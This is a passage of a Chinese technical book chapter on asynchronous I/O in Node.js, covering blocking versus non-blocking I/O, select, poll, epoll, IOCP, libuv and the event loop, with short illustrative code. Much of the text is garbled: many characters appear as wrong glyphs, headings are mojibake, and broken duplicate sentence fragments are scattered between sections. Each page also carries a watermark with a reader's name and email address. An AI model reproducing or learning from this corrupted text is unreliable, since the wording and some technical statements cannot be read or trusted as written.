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Хͳ到实ܪ，Ѷ可以从用ਖ਼ͳᰍ֖ᠪ源分ᦠ这ˏ个ழ᭦ឬ起。 

3.1.1� ⫼᠋ԧ偠 
ऩ൥的ഏএ之੝以ᯪЎ在Web 2.0中༡起౎，是因为在เ᜾٧中JavaScript在Ӭ线程上੯ᛠ，

Ꮺ且它还与UIມ౿Р用一个线程。这਒։着JavaScript在੯ᛠ的时候UIມ౿ֽ֖应是ܪ于Ϣ໔࿃

খ的。Ǒ高性能JavaScriptǒ一书中డ经঳ፆ过，ݟ౦脚本的੯ᛠ时ᫍᡓ过100ඒሙ，用ਖ਼就会ਕ到

页᭦Ӵᮏ，以为网页Ϣൢֽ应。Ꮺ在B/Sഴۋ中，网ፎᤳऎ的ᬌ҃ፋ网页的实时ͳᰍᤴ੆很大的

᳣ཐ。ݟ౦网页˙时ᭉ要ᖌԨ一个网ፎᠪ源，᤯过Վ൥的ழयᖌԨ，ᥦ˥JavaScriptѶᭉ要ኍय़ᠪ

源߸К从服务٧端ᖌԨ后才能继续੯ᛠ，这యᫍUI࠱Ϣᮏ，不ֽ应用ਖ਼的̓̈ᛠ为。可以想៵，

这样的用ਖ਼ͳᰍ࠱会多ࢿ。Ꮺ᧓用ऩ൥请ය，在下ᣑᠪ源యᫍ，JavaScript֖UI的੯ᛠ都不会ܪ

于ኍय़࿃খ，可以继续ֽ应用ਖ਼的̓̈ᛠ为，ፋ用ਖ਼一个ᱤ活的页᭦。 
Վူ，前端᤯过ऩ൥可以๖ᬓ૿UI᫽܊的ဗ៵，ͭ 是前端ᖌԨᠪ源的ᤳऎ也Ԩ决于后端的ֽ

应ᤳऎ。ϛݟ一个ᠪ源౎自于ˏ个不ՎͮᎵ的数૵的ᤄٿ，ኃ一个ᠪ源ᭉ要M ඒሙ的Ᏹ时，ኃ̃

个ᠪ源ᭉ要N ඒሙ的Ᏹ时。ݟ౦᧓用Վ൥的ழय，̼ᆉ大ᒰݟ下Ὑ 

// ၩݯ时间为M 
getData('from_db'); 
// ၩݯ时间为N 
getData('from_remote_api'); 

ͭ是ݟ౦᧓用ऩ൥ழय，ኃ一个ᠪ源的ᖌԨ并不会᫽܊ኃ̃个ᠪ源，也Ԁኃ̃个ᠪ源的请ය

并不Ιᠺኃ一个ᠪ源的ፆో。ݟ൤，我们可以享ԩ到并发的优势，相关̼ᆉݟ下Ὑ 

getData('from_db', function (result) { 
  // ၩݯ时间为M 
}); 
getData('from_remote_api', function (result) { 
  // ၩݯ时间为N 
}); 

对ඊˏ者的时ᫍ঳๖Ᏹ，前者为M+N，后者为max（M, N）。 
ᬣ着应用复杂性的ܘ加，情景࠱会Ԫ੆M + N + Ā֖max（M, N, Ā），Վ൥与ऩ൥的优ҭ࠱会

Ѡ௬Ѣ౎。Բ一ழ᭦，ᬣ着网ቢ੊应用不றᒞᐹ，数૵࠱会分࣊到多Ի服务٧上，分࣊य࠱会是

࣡খ。分࣊也਒։着M与N的Ϙ会线性ܘ᫁，这也会உ大ऩ൥֖Վ൥在性能ழ᭦的ࢿऩ。为了ᝧ读

者ਕᅻ到M֖NϘХͳ多௔᠛，ᛪ3-1ѴѢ了从CPU一ጞᎀߚ到网ፎ的数૵᝺问੝ᭉ要的开ᩘ。  

㸼3-1� ϡৠⱘI/O㉏ൟঞ݊ᇍᑨⱘᓔ䫔 

I/O㉏ൟ 㢅䌍ⱘCPUᯊ䩳਼ᳳ 

CPU一ጞᎀ3 ߚ 

CPŨጞᎀ14 ߚ 

内250 ߚ 

ᆵᄧ 41000000 

网ፎ 240000000 
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着网应用不,数会分到多服务上,分会是 。分
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这就是ऩ൥I/O在Node中ݟ൤ᄨᛠ，甚至࠱Ф作为˞要ူএᤈᛠ᝹᝟的ԓ因。I/O௦௔᠛的Ὃ

ѫ࣊式I/O௦ఝ௔᠛的。 
只有后端能ܴঋᤳֽ应ᠪ源，才能ᝧ前端的ͳᰍԪ好。 

3.1.2� 䌘⑤ߚ䜡 

ଅᬓ用ਖ਼ͳᰍ的因ገ，我们从ᠪ源分ᦠ的ࡎ᭦౎分ౡ一下ऩ൥I/O的ॸ要性。我们ᅻ᥊᝟ኪ

机在发ࡘ过程中࠱组͇ᤈᛠ了ઙ៵，分为I/O᝹֖ܫ᝟ኪ᝹ܫ。 
ϛ᝹ˉ务场景中有一组̈不相关的͉务ᭉ要߸੆，ဗᛠ的˞ึழก有以下ˏሗ。 
� Ӭ线程˘ᛠΙ次੯ᛠ。 
� 多线程并ᛠ߸੆。 
౦创त多线程的开ᩘ小于并ᛠ੯ᛠ，ᥦ˥多线程的ழय是ᯪᤤ的。多线程的̼͈在于创तݟ

线程֖੯ᛠయ线程上下஠Ѭ૰的开ᩘᣖ大。Բ外，在复杂的ˉ务中，多线程编程经࣡᭦˙ᩙ、࿃

খՎ൥ኍ问题，这是多线程ᜁមჀ的˞要ԓ因。ͭ是多线程在多ನCPU上能ܴ有஌ଡӣCPU的ѽ

用ည，这个优势是අकᎵႠ的。 
Ӭ线程ᮊ序੯ᛠ͉务的ழयඊᣖቿՋ编程人տ૊ᮊ序ধᏥ的ধ፤ழय。它Ιཨ是最˞ึ的编

程ழय，因为它௛于ᛪ᣹。ͭ是˘ᛠ੯ᛠ的Ꭴཁ在于性能，͉਒一个႔ਤ的͉务都会࠭ᒰ后续੯

ᛠ̼ᆉᜁ᫽܊。在᝟ኪ机ᠪ源中，᤯࣡I/O与CPU᝟ኪ之ᫍ是可以并ᛠᤈᛠ的。ͭ是Վ൥的编程

ഴ࠭ۋᒰ的问题是，I/O的ᤈᛠ会ᝧ后续͉务ኍय़，这ᤴ੆ᠪ源不能ᜁఝ好ڠѽ用。 
ୱ作系统会࠱CPU的时ᫍྞ分ᦠፋФ余ᤈ程，以МࣰᏪ有஌ڠѽ用ᠪ源，۲于这一ཁ，有的

服务٧为了ଡӣֽ应能Ҧ，会᤯过ը动多个工作ᤈ程౎为ఝ多的用ਖ਼服务。ͭ 是对于这一组͉务

Ꮺ言，它௃ก分发͉务到多个ᤈ程上，੝以Ιཨ௃ก高஌ѽ用ᠪ源，ፆో੝有͉务੝ᭉ的时ᫍ࠱

会ᣖ᫁。这ሗഴयዜͪ于加ʻυ服务٧，᣹到ӳ用ఝ多ᠪ源౎ଡӣ服务ᤳऎ，它并没能ᄽൣஇؒ

问题。 
ຊ加ᆵ͇ᠪ源是一ሗଡӣ服务质量的ழय，ͭ它不是׬一的ழय。 
Ӭ线程Վ൥编程ഴۋ会因᫽܊I/O࠭ᒰᆵ͇ᠪ源३不到ఝ优的使用。多线程编程ഴۋ也因为

编程中的൪ᩙ、࿃খՎ൥ኍ问题ᝧ开发人տܿႺ。 
Node在ˏ者之ᫍፋѢ了它的ழ಴Ὑѽ用Ӭ线程，ᤉሎ多线程൪ᩙ、࿃খՎ൥ኍ问题὚ѽ用ऩ

൥I/O，ᝧӬ线程ᤉሎ᫽܊，以ఝ好ڠ使用CPU。 
ऩ൥I/O可以ኪ作Node的ྱᓣ，因为它是ᯪ个大᜺ഴ࠱ऩ൥I/O应用在应用ࡎ上的ࣰԻ，它Ҧ

ය在Ӭ线程上࠱ᠪ源分ᦠ३ఝ高஌。 
为了弥补Ӭ线程௃กѽ用多ನCPU的Ꭴཁ，NodeଡΘ了ዜͪ前端เ᜾٧中Web Workers的ߔ

ᤈ程，ឞߔᤈ程可以᤯过工作ᤈ程高஌ڠѽ用CPU֖I/O。这部分内࠱ࠓ在ኃ9ብ中សᤗ。 
ऩ൥I/O的ଡѢ是యభI/O的ុ用不в᫽܊后续ᤁኪ，࠱ԓ有ኍय़I/O߸੆的这ൿ时ᫍ分ᦠፋФ

余ᭉ要的ˉ务Ԝ੯ᛠ。 
图3-1为ऩ൥I/O的ុ用ᇧ਒图。 
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I/O的 式I/O的。 只有后端能应源,才能前端的好。

多线程的在于创 4 线程线程上下的开大。

I/O与CPU之是可以并的。

作系统会CPU的时分余程,以有用源,于这一,有的 服务为了应能,会过动多个工作程为多的用服务。

用线程,多线程、问题

I/O,线程,以好使用CPU。

程可以过工作程高用CPUI/
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图3-1 ऩ൥I/O的ុ用ᇧ਒图 

3.2� ᓖℹ I/O ᅲ⦄⦄⢊ 

ऩ൥I/O在Node中应用最为广ค，ͭ是它并᭣Node的ԓ创。 
并᭣ԓ创，它的ԓ创之ܪጝᏞᤥ੝ឬ，þ它的优ሑ之ࠑՎBrendan Eichବल18ˆጡᔭ国஠学ݟ

也并᭣ԓ创。下᭦我们ᄹܪ并不优ሑÿ，以之᝿͈他自己创ᤴ的JavaScript一样，Node的优ሑ之ܪ

ᄹୱ作系统对ऩ൥I/O实ဗ的ஂ૆࿃х。 

3.2.1� ᓖℹI/OϢ䴲䰏าI/O 

在ե到Node的̭ፀ时，我们时࣡会ե到ऩ൥、᭣᫽ុٿ、܊、事͇这些ជ语ຈՋ在一起推̭

Ѣ౎，Ф中ऩ൥与᭣᫽܊ե起౎ͪ˪是Վ一ٿ事。从实ᬄ஌౦Ꮺ言，ऩ൥֖᭣᫽܊都᣹到了我们

并ᛠI/O的目的。ͭ是从᝟ኪ机内ನI/OᏪ言，ऩ൥/Վ൥֖᫽܊/᭣᫽܊实ᬄ上是ˏٿ事。 
ୱ作系统内ನ对于I/O只有ˏሗழयὙ᫽܊与᭣᫽܊。在ុ用᫽܊I/O时，应用程序ᭉ要ኍय़

I/O߸੆才ᤄٿፆ౦，ݟ图3-2੝ᇧ。 
᫽܊I/O的一个ྱཁ是ុ用之后一定要ኍ到系统内ನࡎ᭦߸੆੝有ୱ作后，ុ用才ፆో。以

读Ԩᇒᄧ上的一ൿ஠͇为Β，系统内ನ在߸੆ᇒᄧࠬ᥊、读Ԩ数૵、复҃数૵到内ߚ中之后，这

个ុ用才ፆో。 
᫽܊I/Oᤴ੆CPUኍय़I/O，ํ᠟ኍय़时ᫍ，CPU的ူܪ能Ҧ不能३到Ќ分ѽ用。为了ଡ高

性能，内ನଡΘ了᭣᫽܊I/O。᭣᫽܊I/Oᡱ᫽܊I/O的ࢿѾ为ុ用之后会立Ԁᤄݟ，ٿ图3-3 
੝ᇧ。 
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作系统内对于I/O只有与

I/O的一个是用之后一定要到系统内有作后,用才

系统内在、读数、复数到内中之后

I/OI/O的为用之后会立
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图3-2 ុ用᫽܊I/O的过程 

ୱͺጆፑࠪ᝟ኪ఺ᤈᛠ˿ઙ៵Ὃ࠱੝有ᣤЙᣤѢ᝹ܫઙ៵˝文͇。Юನڙᤈᛠ文͇I/O
ୱͺௐὋ᤯᣾文͇ଠᤗቿᤈᛠክူὋᏪ文͇ଠᤗቿዜͪ̅ःၸርࣿˀጆፑЮನ˧ᫍ的њ

᝼。ःၸርࣿݟ౦ᭉ᜵ᤈᛠI/OុၸὋᭉ᜵Ў੩ध文͇ଠᤗቿὋཨՐв಩据文͇ଠᤗቿԜ

I/O߸੆ஞ˓ᖌԨ数据的᣾܊᫽̅ڙI/O的区Ѿ܊I/Oˀ᫽܊᭣᫽ܪဗ文͇的数据ឳз。൤ࠃ

ርὋᏪ᭣᫽܊I/OѶʿࣛ数据ᄯଋᤄٿὋ᜵ᖌԨ数据Ὃᤆᭉ᜵᤯᣾文͇ଠᤗቿв൒ឳԨ。 

 

图3-3 ុ用᭣᫽܊I/O的过程 

᭣᫽܊I/Oᤄٿ之后，CPU的时ᫍྞ可以用౎ူܪФ他事务，൤时的性能ଡӣ是௙௬的。 
ͭ᭣᫽܊I/O也ߚ在一些问题。由于߸ஞ的I/O并没有߸੆，立Ԁᤄٿ的并不是ˉ务ࡎయభ的

数૵，Ꮺ仅仅是ॆ前ុ用的࿃খ。为了ᖌԨ߸ஞ的数૵，应用程序ᭉ要᧗复ុ用I/Oୱ作౎ᆷ认

是否߸੆。这ሗ᧗复ុ用ѻறୱ作是否߸੆的技术Զ做ᣂល，下᭦我们就౎ኤ要̭ፀ这ሗ技术。 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

文

文的

仅仅是前用的。为了的数,应用程序要复用I/O作认 是否

I/O也在一些问题。由于的I/O并没有,立的并不是务的 数

这复用作是否的技术做
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͉਒技术都并᭣߸Ꮎ的。᫽܊I/Oᤴ੆CPUኍय़ํ᠟，᭣᫽ࣛ܊౎的᳣ཐԁ是ᭉ要ᣂលԜᆷ

认是否߸К߸੆数૵ᖌԨ，它会ᝧCPUူܪ࿃খѻற，是对CPUᠪ源的ํ᠟。这᧖我们且ᄹᣂល

技术是ݟʹ໥ᤈ的，以ђ小I/O࿃খѻற的CPU૮Ᏹ。 
ဗߚ的ᣂល技术˞要有以下这些。 
� read。它是最ԓ始、性能最ͯ的一ሗ，᤯过᧗复ុ用౎೜ಉI/O的࿃খ౎߸੆߸ஞ数૵的

读Ԩ。在३到最ጻ数૵前，CPU一ᄯᏱ用在ኍय़上。图3-4为᤯过readᤈᛠᣂល的ᇧ਒图。 

 

图3-4 ᤯过readᤈᛠᣂល的ᇧ਒图 

� select。它是在read的۲ᆨ上இᤈ的一ሗழ಴，᤯过对஠͇ଠᤗቿ上的事͇࿃খ౎ᤈᛠѻ

ற。图3-5为᤯过selectᤈᛠᣂល的ᇧ਒图。 

 

图3-5 ᤯过selectᤈᛠᣂល的ᇧ਒图 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权
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selectᣂលХ有一个ᣖि的ᬌ҃，ᥦ就是由于它᧓用一个1024᫁ऎ的数组౎ߚϱ࿃খ，

੝以它最多可以Վ时೜ಉ1024个஠͇ଠᤗቿ。 
� poll。ឞழ಴ᣖselect有੝இᤈ，᧓用ᩖᛪ的ழयᥗБ数组᫁ऎ的ᬌ҃，Ф次它能ᥗБ不ᭉ

要的೜ಉ。ͭ是ॆ஠͇ଠᤗቿᣖ多的时候，它的性能还是Ӡ分ͯ下的。图3-6为᤯过poll
实ဗᣂល的ᇧ਒图，它与select相ͪ，ͭ性能ᬌ҃有੝இؒ。 

 
图3-6 ᤯过poll实ဗᣂល的ᇧ਒图 

� epoll。ឞழ಴是Linux下஌ည最高的I/O事͇᤯ᅻ机҃，在ᤈ入ᣂល的时候ݟ౦没有೜ಉ到

I/O事͇，࠱会ᤈᛠ͓ᄾ，ᄯ到事͇发生࠱它קᧇ。它是ᄽ实ѽ用了事͇᤯ᅻ、੯ᛠុٿ

的ழय，Ꮺ不是遍Ԋಉល，੝以不会ํ᠟CPU，੯ᛠ஌ညᣖ高。图3-7为᤯过epollழय实

ဗᣂល的ᇧ਒图。 

 
图3-7 ᤯过epollழय实ဗᣂល的ᇧ਒图 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

会,到事发生它。它是实用了事、 的,不是遍,以不会CPU,高。
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� kqueue。ឞழ಴的实ဗழय与epollዜͪ，不过它仅在FreeBSD系统下ߚ在。 
ᣂល技术໗ᡛ了᭣᫽܊I/OᆷγᖌԨ߸ஞ数૵的ᭉය，ͭ是对于应用程序Ꮺ言，它̮ཨ只能

ኪ是一ሗՎ൥，因为应用程序̮ཨᭉ要ኍय़I/O߸Кᤄٿ，Ιேᔈ᠟了很多时ᫍ౎ኍय़。ኍय़య

ᫍ，CPU要˥用于遍Ԋ஠͇ଠᤗቿ的࿃খ，要˥用于͓ᄾኍय़事͇发生。ፆ᝶是它不ܴ好。 

3.2.2� ⧚ᛇⱘ䴲䰏าᓖℹI/O 

管epoll已经ѽ用了事͇౎ᬋͯCPU的Ᏹ用，ͭ是͓ᄾయᫍCPU几˪是᫋Ꮅ的，对于ॆ前线ࡉ

程Ꮺ言ѽ用ည不ܴ。ᥦ˥，是否有一ሗူ想的ऩ൥I/Oփ὞ 
我们యభ的߸Ꮎ的ऩ൥I/O应ឞ是应用程序发起᭣᫽ុ܊用，௃ᮋ᤯过遍Ԋ੊者事͇קᧇኍ

ழयᣂល，可以ᄯ接ူܪ下一个͉务，只ᭉ在I/O߸੆后᤯过信Ձ੊࠱ុٿ数૵͛ᤫፋ应用程序

Ԁ可。图3-8为ူ想中的ऩ൥I/Oᇧ਒图。 

 

图3-8 ူ想中的ऩ൥I/Oᇧ਒图 

ࣳᤁ的是，在Linux下ߚ在这样一ሗழय，它ԓ生ଡΘ的一ሗऩ൥I/Oழय（AIO）就是᤯过

信Ձ੊ុٿ౎͛ᤫ数૵的。 
ͭ不ࣳ的是，只有Linux下有，Ꮺ且它还有ᎤᬝúúAIO仅ஂ૆内ನI/O中的O_DIRECTழय读

Ԩ，࠭ᒰ௃กѽ用系统ᎀߚ。 

3.2.3� ⦄ᅲⱘᓖℹI/O 

ဗ实ඊူ想要ᰣਕ一些，ͭ是要᣹੆ऩ൥I/O的目ಕ，并᭣ᬱ事。前᭦我们࠱场景ᬌ定在了

Ӭ线程的࿃х下，多线程的ழय会是Բ一႖᮲景。᤯过ᝧ部分线程ᤈᛠ᫽܊I/O੊者᭣᫽܊I/O加

ᣂល技术౎߸੆数૵ᖌԨ，ᝧ一个线程ᤈᛠ᝟ኪူܪ，᤯过线程之ᫍ的᤯信࠱I/O३到的数૵ᤈ

ᛠ͛ᤫ，这就ᣏౚ实ဗ了ऩ൥I/O（ࡉ管它是ഴ઱的），ᇧ਒图ݟ图3-9੝ᇧ。 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

,过线程之的信I/O到的数
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图3-9 ऩ൥I/O 

glibc的AIOΦ是Цۋ的线程෈ഴ઱ऩ൥I/O。ཨᏪ᥋ਲ਼的是，它ߚ在一些ᬱ以ॼԩ的Ꭴᬝ֖

bug，不推荐᧓用。libev的作者Marc Alexander Lehmann᧗新实ဗ了一个ऩ൥I/O的ंὙlibeio。libeio
实质上Ιཨ是᧓用线程෈与᫽܊I/Oഴ઱ऩ൥I/O。最初，Node在*nixࣰԻ下᧓用了libeioᦠՋlibev
实ဗI/O部分，实ဗ了ऩ൥I/O。在Node v0.9.3中，自ᛠ实ဗ了线程෈౎߸੆ऩ൥I/O。 

Բ一ሗ我ᤌᤌ没有ᤨ᭚的ऩ൥I/Oழ಴Ѷ是Windows下的IOCP，它在౼ሗ程ऎ上ଡΘ了ူ想

的ऩ൥I/OὙុ用ऩ൥ழก，ኍय़I/O߸੆之后的᤯ᅻ，੯ᛠុٿ，用ਖ਼௃ᮋᏥᘼᣂល。ͭ是它的

内部Ф实̮ཨ是线程෈ԓူ，不Վ之ܪ在于这些线程෈由系统内ನ接੣管ူ。 
IOCP的ऩ൥I/Oഴۋ与Node的ऩ൥ុ用ഴۋӠ分ᤂͪ。在WindowsࣰԻ下᧓用了IOCP实ဗ

ऩ൥I/O。 
由于WindowsࣰԻ֖*nixࣰԻ的ࢿऩ，NodeଡΘ了libuv作为ઙ៵࠯ᜈࡎ，使३੝有ࣰԻЩࠓ

性的ѻற都由这一ࡎ౎߸੆，并γ᝼上ࡎ的Node与下ࡎ的自定˦线程෈ԢIOCP之ᫍՉ自࿗立。

Node在编ដయᫍ会ѻறࣰԻ్͇，ᤤસ性编ដunix目े੊是win目े下的源஠͇到目ಕ程序中，

Ф౵ౝݟ图3-10੝ᇧ。 

 

图3-10 ۲于libuv的౵ౝᇧ਒图 

ᭉ要强ុ一ཁ的是，这᧖的I/O不仅仅只ᬌ于ᇒᄧ஠͇的读写。*nix࠱᝟ኪ机ઙ៵了一႖，ᇒ

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权
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ᄧ஠͇、ᆵ͇、ݒ接ߙኍ几˪੝有᝟ኪ机ᠪ源都ᜁઙ៵为了஠͇，因൤这᧖ଠᤗ的᫽֖܊᭣᫽܊

的情хՎ样能᤟Ջ于ݒ接ߙኍ。 
Բ一个ᭉ要强ុ的ڠழ在于我们时࣡ଡ到Node是Ӭ线程的，这᧖的Ӭ线程仅仅只是

JavaScript੯ᛠ在Ӭ线程中Ꮁ了。在Node中，௃᝶是*nix还是WindowsࣰԻ，内部߸੆I/O͉务的

Բ有线程෈。 

3.3� Node ⱘᓖℹ I/O 
̭ፀ߸系统对ऩ൥I/O的ஂ૆后，我们࠱继续̭ፀNode是ݟʹ实ဗऩ൥I/O的。这᧖我们ᬓ了

̭ፀऩ൥I/O的实ဗ外，还࠱ᝦ᝶Node的੯ᛠഴۋ。߸੆ஞ个ऩ൥I/O环ᓫ的有事͇९环、᜹ࠢ者

֖请ය对៵ኍ。 

3.3.1� џӊᕾ⦃ 
ᯪЎ，我们着᧗强ុ一下Node自ᢵ的੯ᛠഴۋúú事͇९ဖ，ൣ 是它使३ុٿѥ数Ӡ分௾遍。 
在ᤈ程ը动时，NodeΦ会创त一个ዜͪ于while(true)的९环，ඇ੯ᛠ一次९环ͳ的过程我

们ሥ为Tick。ඇ个Tick的过程就是ಉᄹ是否有事͇य़ݟ，ူܪ౦有，就ԨѢ事͇ԢФ相关的ុٿ

ѥ数。ݟ౦ߚ在关ᐎ的ុٿѥ数，就੯ᛠ它们。ཨ后ᤈ入下个९环，ݟ౦不в有事͇ူܪ，就ᤝ

Ѣᤈ程。ึ程图ݟ图3-11੝ᇧ。 

 

图3-11 Tickึ程图 

3.3.2� 㾖ᆳ㗙 
在ඇ个Tick的过程中，ݟʹѻற是否有事͇ᭉ要ူܪփ὞这᧖ॸᮋ要ल入的ഏএ是᜹ࠢᏧ。

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权
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ඇ个事͇९环中有一个੊者多个᜹ࠢ者，Ꮺѻற是否有事͇要ူܪ的过程就是Փ这些᜹ࠢ者ល问

是否有要ူܪ的事͇。 
这个过程就ݟՎᯋᯝ的Ԙੜ，Ԙੜ一ᣂ一ᣂ҃ڠ作ᖜᐲ，ͭ 是要Хͳ҃作ג些ᖜᐲԨ决于收

ᩏԻ收到的客人的下Ӭ。Ԙੜඇ做߸一ᣂᖜᐲ，就Ԝ问收ᩏԻ的小ݷ，接下౎有没有要做的ᖜ，

收到的客人ཁӬ就ݜ，就是᜹ࠢ者ݷ౦没有的ព，就下ာ੩ཊ了。在这个过程中，收ᩏԻ的小ݟ

是关ᐎ的ុٿѥ数。ॆཨ，ݟ౦ᯋᯝ经ᖸ有ழ，它可能有多个收ᩏտ，就ݟՎ事͇९环中有多个

᜹ࠢ者一样。收到下Ӭ就是一个事͇，一个᜹ࠢ者᧖可能有多个事͇。 
เ᜾٧᧓用了ዜͪ的机҃。事͇可能౎自用ਖ਼的ཁѣ੊者加ᣑ౼些஠͇时产生，Ꮺ这些产生

的事͇都有对应的᜹ࠢ者。在Node中，事͇˞要౎源于网ፎ请ය、஠͇I/Oኍ，这些事͇对应的

᜹ࠢ者有஠͇I/O᜹ࠢ者、网ፎI/O᜹ࠢ者ኍ。᜹ࠢ者࠱事͇ᤈᛠ了分ዜ。 
事͇९环是一个Цۋ的ၶ̖Ꮷ/๖᠟Ꮷഴۋ。ऩ൥I/O、网ፎ请යኍѶ是事͇的生产者，源源

不ற为NodeଡΘ不Վዜۋ的事͇，这些事͇ᜁ͛ᤫ到对应的᜹ࠢ者ᥦ᧖，事͇९环Ѷ从᜹ࠢ者ᥦ

᧖ԨѢ事͇并ူܪ。 
在Windows下，这个९环۲于IOCP创त，Ꮺ在*nix下Ѷ۲于多线程创त。 

3.3.3� 䇋∖ᇍ䈵 
在这一ᓫ中，我们࠱᤯过解᧕Windows下ऩ൥I/O（ѽ用IOCP实ဗ）的ኤӬΒߔ౎探ࠬ从

JavaScript̼ᆉ到系统内ನ之ᫍ都发生了̣˥。 
对于一ᓉ的（᭣ऩ൥）ុٿѥ数，ѥ数由我们自ᛠុ用，ݟ下੝ᇧὙ 

var forEach = function (list, callback) { 
  for (var i = 0; i < list.length; i++) { 
    callback(list[i], i, list); 
  } 
}; 

对于Node中的ऩ൥I/Oុ用Ꮺ言，ុٿѥ数ԁ不由开发者౎ុ用。ᥦ˥从我们发Ѣុ用后，

到ុٿѥ数ᜁ੯ᛠ，中ᫍ发生了̣˥փ὞事实上，从JavaScript发起ុ用到内ನ੯ᛠ߸I/Oୱ作的

过ນ过程中，ߚ在一ሗ中ᫍ产ྫྷ，它Զ做ឯයࠪ៵。 
下᭦我们以最ኤӬ的fs.open()ழก౎作为Βߔ，探索Node与ऄࡎ之ᫍ是ݟʹ੯ᛠऩ൥I/Oុ

用以Ԣុٿѥ数ቂቤ是ݟʹᜁុ用੯ᛠ的Ὑ 

fs.open = function(path, flags, mode, callback) { 
  // ... 
  binding.open(pathModule._makeLong(path), 
                   stringToFlags(flags), 
                   mode, 
                   callback); 
}; 

fs.open()的作用是಩૵ૈ定ᡸफ़֖ԟ数Ԝ੩开一个஠͇，从Ꮺ३到一个஠͇ଠᤗቿ，这是

后续੝有I/Oୱ作的初始ୱ作。从前᭦的̼ᆉ中可以ᄹ到，JavaScriptࡎ᭦的̼ᆉ᤯过ុ用C++ನ

心ഴڰᤈᛠ下ࡎ的ୱ作。图3-12为ុ用ᇧ਒图。 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

个事环中有一个者多个者,是否有事要的过程就是这些者问 是否有要的事。

事环是一个的/。I/O、网请是事的生产者

从JavaScript发起用到内I/O作的 过过程中,在一中产,它做

,收的小就是者,收到的客人就

是关的数。
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图3-12 ុ用ᇧ਒图 

从JavaScriptុ用Node的ನ心ഴڰ，ನ心ഴុڰ用C++内तഴڰ，内तഴڰ᤯过libuvᤈᛠ系

统ុ用，这是Node᧖经Ц的ុ用ழय。这᧖libuv作为࠯ᜈࡎ，有ˏ个ࣰԻ的实ဗ，实质上是ុ

用了uv_fs_open()ழก。在uv_fs_open()的ុ用过程中，我们创त了一个FSReqWrap请ය对៵。从

JavaScript͛ࡎ入的ԟ数֖ॆ前ழก都ᜁ࠯ᜈ在这个请ය对៵中，Ф中我们最为关ซ的ុٿѥ数Ѷ

ᜁ᝹Ꮅ在这个对៵的oncomplete_sym࡚性上Ὑ 

req_wrap->object_->Set(oncomplete_sym, callback); 

对៵包ᜈ߸උ后，在Windows下，Ѷុ用QueueUserWorkItem()ழก࠱这个FSReqWrap对៵推入

线程෈中ኍय़੯ᛠ，ឞழก的̼ᆉݟ下੝ᇧὙ 

QueueUserWorkItem(&uv_fs_thread_proc,                                \ 
                         req,                                        \ 
                         WT_EXECUTEDEFAULT) 

QueueUserWorkItem()ழก接ԩ3个ԟ数Ὑኃ一个ԟ数是࠱要੯ᛠ的ழก的ल用，这᧖ल用的

是uv_fs_thread_proc，ኃ̃个ԟ数是uv_fs_thread_procழกᤁᛠ时੝ᭉ要的ԟ数὚ኃʻ个ԟ数是

੯ᛠ的ಕং。ॆ线程෈中有可用线程时，我们会ុ用uv_fs_thread_proc()ழก。uv_fs_thread_ 

proc()ழก会಩૵͛入ԟ数的ዜុۋ用相应的ऄࡎѥ数。以uv_fs_open()为Β，实ᬄ上ុ用

fs__open()ழก。 
至൤，JavaScriptុ用立Ԁᤄٿ，由JavaScriptࡎ᭦发起的ऩ൥ុ用的ኃ一᫼ൿ就൤ፆో。

JavaScript线程可以继续੯ᛠॆ前͉务的后续ୱ作。ॆ前的I/Oୱ作在线程෈中ኍय़੯ᛠ，不管它

是否᫽܊I/O，都不会ॕֽ到JavaScript线程的后续੯ᛠ，ݟ൤就᣹到了ऩ൥的目的。 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权
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请ය对៵是ऩ൥I/O过程中的᧗要中ᫍ产ྫྷ，੝有的࿃খ都γߚ在这个对៵中，包括ᤞ入线

程෈ኍय़੯ᛠ以ԢI/Oୱ作߸උ后的ူܪុٿ。 

3.3.4� ᠻ㸠ಲ䇗 
组ᜈ好请ය对៵、ᤞ入I/O线程෈ኍय़੯ᛠ，实ᬄ上߸੆了ऩ൥I/O的ኃ一部分，ុٿ᤯ᅻ是

ኃ̃部分。 
线程෈中的I/Oୱ作ុ用߸උ之后，会࠱ᖌԨ的ፆ౦ϱߚ在req->result࡚性上，ཨ后ុ用

PostQueuedCompletionStatus()᤯ᅻIOCP，նᅻॆ前对៵ୱ作已经߸੆Ὑ 

PostQueuedCompletionStatus((loop)->iocp, 0, 0, &((req)->overlapped))  

PostQueuedCompletionStatus()ழก的作用是ՓIOCPଡ̓੯ᛠ࿃খ，并࠱线程ॅ还线程෈。᤯

过PostQueuedCompletionStatus()ழกଡ̓的࿃খ，可以᤯过GetQueuedCompletionStatus()ଡԨ。 
在这个过程中，我们Ф实还动用了事͇९环的I/O᜹ࠢ者。在ඇ次Tick的੯ᛠ中，它会ុ用

IOCP相关的GetQueuedCompletionStatus()ழก೜ಉ线程෈中是否有੯ᛠ߸的请ය，ݟ౦ߚ在，会

 。ူܪФॆ做事͇࠱请ය对៵加入到I/O᜹ࠢ者的᫲Ѵ中，ཨ后࠱
I/O᜹ࠢ者ុٿѥ数的ᛠ为就是ԨѢ请ය对៵的result࡚性作为ԟ数，ԨѢoncomplete_sym࡚

性作为ழก，ཨ后ុ用੯ᛠ，以൤᣹到ុ用JavaScript中͛入的ុٿѥ数的目的。 
至൤，ஞ个ऩ൥I/O的ึ程߸Кፆో，ݟ图3-13੝ᇧ。 

 

图3-13 ஞ个ऩ൥I/O的ึ程 
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事͇९环、᜹ࠢ者、请ය对៵、I/O线程෈这ٽ者РՎౝ੆了Nodeऩ൥I/Oഴۋ的۲本要ገ。 
Windows下˞要᤯过IOCP౎Փ系统内ನ发ᤞI/Oុ用֖从内ನᖌԨ已߸੆的I/Oୱ作，ᦠ以事

͇९环，以൤߸੆ऩ൥I/O的过程。在Linux下᤯过epoll实ဗ这个过程，FreeBSD下᤯过kqueue实

ဗ，Solaris下᤯过Event ports实ဗ。不Վ的是线程෈在Windows下由内ನ（IOCP）ᄯ接ଡΘ，*nix
系Ѵ下由libuv自ᛠ实ဗ。 

3.3.5� ᇣ㒧 

